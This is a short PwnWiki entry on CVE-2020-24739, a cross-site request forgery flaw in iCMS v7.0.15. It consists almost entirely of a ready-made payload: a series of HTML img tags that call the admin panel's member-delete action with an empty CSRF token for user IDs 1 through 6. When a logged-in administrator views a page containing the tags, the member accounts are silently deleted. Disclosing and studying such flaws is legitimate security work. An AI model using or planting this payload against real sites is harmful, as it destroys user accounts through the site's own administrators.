CVE-2020-24739 Icms v7.0.15 CSRF漏洞
From PwnWiki
https://<target>/work/work1/admincp.php?app=members&do=del&id=3&frame=iPHP&CSRF_TOKEN= <img src="http://url/work/work1/admincp.php?app=members&do=del&id=1&frame=iPHP&CSRF_TOKEN="> <img src="http://url/work/work1/admincp.php?app=members&do=del&id=2&frame=iPHP&CSRF_TOKEN="> <img src="http://url/work/work1/admincp.php?app=members&do=del&id=3&frame=iPHP&CSRF_TOKEN="> <img src="http://url/work/work1/admincp.php?app=members&do=del&id=4&frame=iPHP&CSRF_TOKEN="> <img src="http://url/work/work1/admincp.php?app=members&do=del&id=5&frame=iPHP&CSRF_TOKEN="> <img src="http://url/work/work1/admincp.php?app=members&do=del&id=6&frame=iPHP&CSRF_TOKEN=">